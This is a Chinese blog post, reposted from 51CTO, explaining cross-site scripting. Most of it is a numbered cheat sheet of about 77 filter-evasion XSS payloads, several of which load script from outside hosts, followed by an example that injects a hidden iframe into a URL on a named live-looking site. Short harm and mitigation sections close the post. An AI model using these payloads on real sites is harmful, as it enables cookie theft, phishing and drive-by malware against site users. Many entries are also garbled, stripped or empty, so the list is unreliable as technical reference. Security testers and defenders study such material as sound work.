xss攻擊就是惡意攻擊者往Web頁面裡插入惡意html代碼,當使用者浏覽該頁之時,嵌入其中Web裡面的html代碼會被執行,進而達到惡意使用者的特殊目的。
一般而言,利用跨站腳本攻擊,攻擊者可竊會話COOKIE進而竊取網站使用者的隐私,包括密碼。
XSS攻擊使用到的技術主要為HTML和Javascript,也包括VBScript和ActionScript等。XSS攻擊對WEB伺服器雖無直接危害,但是它借助網站進行傳播,使網站的使用使用者受到攻擊,導緻網站使用者帳号被竊取,進而對網站也産生了較嚴重的危害。
XSS的類型
一種是入庫型:即代碼被寫入資料庫
令一種就是非入庫型:代碼沒有被寫入資料庫
1)惡意使用者,在一些公共區域(例如,建議送出表單或消息公共闆的輸入表單)輸入一些文本,這些文本被其它使用者看到,但這些文本不僅僅是他們要輸入的文本,同時還包括一些可以在用戶端執行的腳本。如:
<script>
this.document = "*********";
</script>
2)惡意送出這個表單
3)其他使用者看到這個包括惡意腳本的頁面并執行,擷取使用者的cookie等敏感資訊。
XSS常見的攻擊代碼
(1)普通的XSS JavaScript注入
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(2)IMG标簽XSS使用JavaScript指令
(3)IMG标簽無分号無引号
<IMG alert(‘XSS’)>
(4)IMG标簽大小寫不敏感
(5)HTML編碼(必須有分号)
<IMG alert(“XSS”)>
(6)修正缺陷IMG标簽
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
(7)formCharCode标簽(電腦)
<IMG alert(String.fromCharCode(88,83,83))>
(8)UTF-8的Unicode編碼(電腦)
<IMG jav..省略..S')>
(9)7位的UTF-8的Unicode編碼是沒有分号的(電腦)
(10)十六進制編碼也是沒有分号(電腦)
<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>
(11)嵌入式标簽,将Javascript分開
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(12)嵌入式編碼标簽,将Javascript分開
(13)嵌入式換行符
(14)嵌入式回車
(15)嵌入式多行注入JavaScript,這是XSS極端的例子
<IMG SRC=”alert(‘XSS‘)”>
(16)解決限制字元(要求同頁面)
<script>z=’document.’</script>
< script>z=z+’write(“‘</script>
< script>z=z+’<script’</script>
< script>z=z+’ src=ht’</script>
< script>z=z+’tp://ww’</script>
< script>z=z+’w.shell’</script>
< script>z=z+’.net/1.’</script>
< script>z=z+’js></sc’</script>
< script>z=z+’ript>”)’</script>
< script>eval_r(z)</script>
(17)空字元
perl -e ‘print “<IMG java\0script:alert(\”XSS\”)>”;’ > out
(18)空字元2,空字元在國内基本沒效果.因為沒有地方可以利用
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
(19)Spaces和meta前的IMG标簽
<IMG SRC=” alert(‘XSS’);”>
(20)Non-alpha-non-digit XSS
(21)Non-alpha-non-digit XSS to 2
< BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
(22)Non-alpha-non-digit XSS to 3
(23)雙開括号
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
(24)無結束腳本标記(僅火狐等浏覽器)
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
(25)無結束腳本标記2
< SCRIPT SRC=//3w.org/XSS/xss.js>
(26)半開的HTML/JavaScript XSS
< IMG SRC=”alert(‘XSS’)”
(27)雙開角括号
<iframe src=http://3w.org/XSS.html <
(28)無單引号 雙引号 分号
<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
(29)換碼過濾的JavaScript
\”;alert(‘XSS’);//
(30)結束Title标簽
< /TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
(31)Input Image
< INPUT SRC=”alert(‘XSS’);”>
(32)BODY Image
< BODY BACKGROUND=”alert(‘XSS’)”>
(33)BODY标簽
<BODY(‘XSS’)>
(34)IMG Dynsrc
< IMG DYNSRC=”alert(‘XSS’)”>
(35)IMG Lowsrc
< IMG LOWSRC=”alert(‘XSS’)”>
(36)BGSOUND
< BGSOUND SRC=”alert(‘XSS’);”>
(37)STYLE sheet
< LINK REL=”stylesheet” HREF=”alert(‘XSS’);”>
(38)遠端樣式表
(39)List-style-image(清單式)
<STYLE>li {list-style-image: url(“alert(‘XSS’)”);}< /STYLE><UL><LI>XSS
(40)IMG VBscript
< IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
(41)META連結url
< META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=alert(‘XSS’);”>
(42)Iframe
< IFRAME SRC=”alert(‘XSS’);”>< /IFRAME>
(43)Frame
< FRAMESET><FRAME SRC=”alert(‘XSS’);”>< /FRAMESET>
(44)Table
< TABLE BACKGROUND=”alert(‘XSS’)”>
(45)TD
< TABLE><TD BACKGROUND=”alert(‘XSS’)”>
(46)DIV background-image
< DIV STYLE=”background-image: url(alert(‘XSS’))”>
(47)DIV background-image後加上額外字元(1-32&34&39&160&8192-8&13&12288&65279)
< DIV STYLE=”background-image: url( alert(‘XSS’))”>
(48)DIV expression
< DIV STYLE=”width: expression_r(alert(‘XSS’));”>
(49)STYLE屬性分拆表達
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
(50)匿名STYLE(組成:開角号和一個字母開頭)
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
(51)STYLE background-image
< STYLE>.XSS{background-image:url(“alert(‘XSS’)”);}< /STYLE><A CLASS=XSS></A>
(52)IMG STYLE方式
exppression(alert(“XSS”))’>
(53)STYLE background
< STYLE><STYLE type=”text/css”>BODY{url(“alert(‘XSS’)”)}< /STYLE>
(54)BASE
< BASE HREF=”alert(‘XSS’); //”>
(55)EMBED标簽,你可以嵌入FLASH,其中包涵XSS
(56)在flash中使用ActionScrpt可以混進你XSS的代碼
a=”get”;
b=”URL(\”";
c=”javascript:”;
d=”alert(‘XSS’);\”)”;
eval_r(a+b+c+d);
(57)XML namespace.HTC檔案必須和你的XSS載體在一台伺服器上
<HTML xmlns:xss>
<xss:xss>XSS</xss:xss>
< /HTML>
(58)如果過濾了你的JS你可以在圖檔裡添加JS代碼來利用
<SCRIPT SRC=””></SCRIPT>
(59)IMG嵌入式指令,可執行任意指令
(60)IMG嵌入式指令(a.jpg在同伺服器)
(61)繞符号過濾
(62)
(63)
(64)
(65)
(66)
(67)
(68)URL繞行
(69)URL編碼
(70)IP十進制
<A HREF=”http://3232235521″>XSS</A>
(71)IP十六進制
(72)IP八進制
(73)混合編碼
<A HREF=”h
tt p://6 6.000146.0×7.147/”">XSS</A>
(74)節省[http:]
< A HREF=”//www.google.com/”>XSS</A>
(75)節省[www]
(76)絕對點絕對DNS
(77)javascript連結
XSS漏洞挖掘及利用
1.發掘
URL中帶中文的、或者帶URL編碼的
http://sqxhsp.com/news.asp?cat_id=11&types=企業新聞
2、利用
<script>alert('baidu.com')</script>
<iframe src=http://baidu .com></iframe>
<iframe src=http://baidu .com width=0 height=0></iframe>
<meta http-equiv="refresh" content="2;url=http://baidu .com">
例:
http://sqxhsp.com/news.asp?cat_id=11&types=企業新聞<iframe%20src=http://%62%61%69%64%75%2E%63%6F%6D%20width=0%20height=0></iframe>
//如果iframe裡面包含的就是xss腳本,當通路的時候就會構成挂馬攻擊或攻擊網站
跨站腳本漏洞危害
釣魚欺騙:最典型的就是利用目标網站的反射型跨站腳本漏洞将目标網站重定向到釣魚網站,或者注入釣魚JavaScript以監控目标網站的表單輸入,甚至發起基于DHTML更進階的釣魚攻擊方式。
網站挂馬:跨站時利用IFrame嵌入隐藏的惡意網站或者将被攻擊者定向到惡意網站上,或者彈出惡意網站視窗等方式都可以進行挂馬攻擊。
身份盜用:Cookie是使用者對于特定網站的身份驗證标志,XSS可以盜取到使用者的Cookie,進而利用該Cookie盜取使用者對該網站的操作權限。如果一個網站管理者使用者Cookie被竊取,将會對網站引發巨大的危害。
盜取網站使用者資訊:當能夠竊取到使用者Cookie進而擷取到使用者身份使,攻擊者可以擷取到使用者對網站的操作權限,進而檢視使用者隐私資訊。
垃圾資訊發送:比如在SNS社群中,利用XSS漏洞借用被攻擊者的身份發送大量的垃圾資訊給特定的目标群。
劫持使用者Web行為:一些進階的XSS攻擊甚至可以劫持使用者的Web行為,監視使用者的浏覽曆史,發送與接收的資料等等。
XSS蠕蟲:XSS 蠕蟲可以用來打廣告、刷流量、挂馬、惡作劇、破壞網上資料、實施DDoS攻擊等。
跨站腳本漏洞解決方案
檢查變量是否正确初始化并明确變量類型
不僅要驗證資料的類型,還要驗證其格式、長度、範圍和内容。
不要僅僅在用戶端對資料做HTML标簽轉義以及過濾單引号,雙引号等危險字元,關鍵的過濾步驟也應該在服務端進行。
對輸出到頁面的資料也要做安全檢查,資料庫裡的值有可能會在一個大網站的多處都有輸出,即使在輸入做了編碼等操作,在各處的輸出點時也要進行安全檢查。
在釋出應用程式之前測試所有已知的威脅。
本文轉自Tar0 51CTO部落格,原文連結:http://blog.51cto.com/tar0cissp/1271623,如需轉載請自行聯系原作者